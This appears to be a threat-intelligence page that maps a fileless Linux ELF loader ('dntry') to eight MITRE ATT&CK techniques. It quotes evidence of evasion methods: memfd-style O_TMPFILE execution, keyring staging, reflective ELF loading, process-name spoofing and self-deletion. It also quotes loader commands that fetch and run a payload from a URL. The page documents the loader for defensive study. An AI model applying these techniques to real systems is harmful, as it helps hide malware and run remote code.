MITRE ATT&CK

Techniques & procedures

8 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

1 technique

T1106Native APIEvidence1

The O_TMPFILE mode executes an anonymous file descriptor using execveat(fd, "", argv, envp, AT_EMPTY_PATH).

Stealth

5 techniques

T1027.011Fileless StorageEvidence1

« Le binaire ELF est chargé en mémoire via add_key [...] dans le keyring de session [...] sans inode ni entrée dans /proc/self/fd/. »

T1036.005Match Legitimate Resource Name or LocationEvidence1

spoof_name becomes argv[0] of the loaded process and the thread name via prctl(PR_SET_NAME), defaults to python3.

T1070.004File DeletionEvidence2

Loader unlinks itself via readlink("/proc/self/exe").

T1564Hide ArtifactsEvidence1

open("/tmp", O_TMPFILE|O_RDWR, 0700) allocates an anonymous inode with no directory entry... execveat executes the fd directly with no path string.

T1620Reflective Code LoadingEvidence2

The keyring path reads the ELF payload into an anonymous mapping, maps PT_LOAD segments with MAP_FIXED_NOREPLACE, zeroes registers, and jumps to the ELF entry point with no execve or execveat call.

Command and Control

2 techniques

T1071.001Web ProtocolsEvidence1

« Le payload est récupéré via HTTPS sans jamais être écrit sur disque. »

T1105Ingress Tool TransferEvidence2

./dntry http <url> [spoof_name], ./dntry khttp <url> [spoof_name], and ./dntry bkhttp <url> [spoof_name].
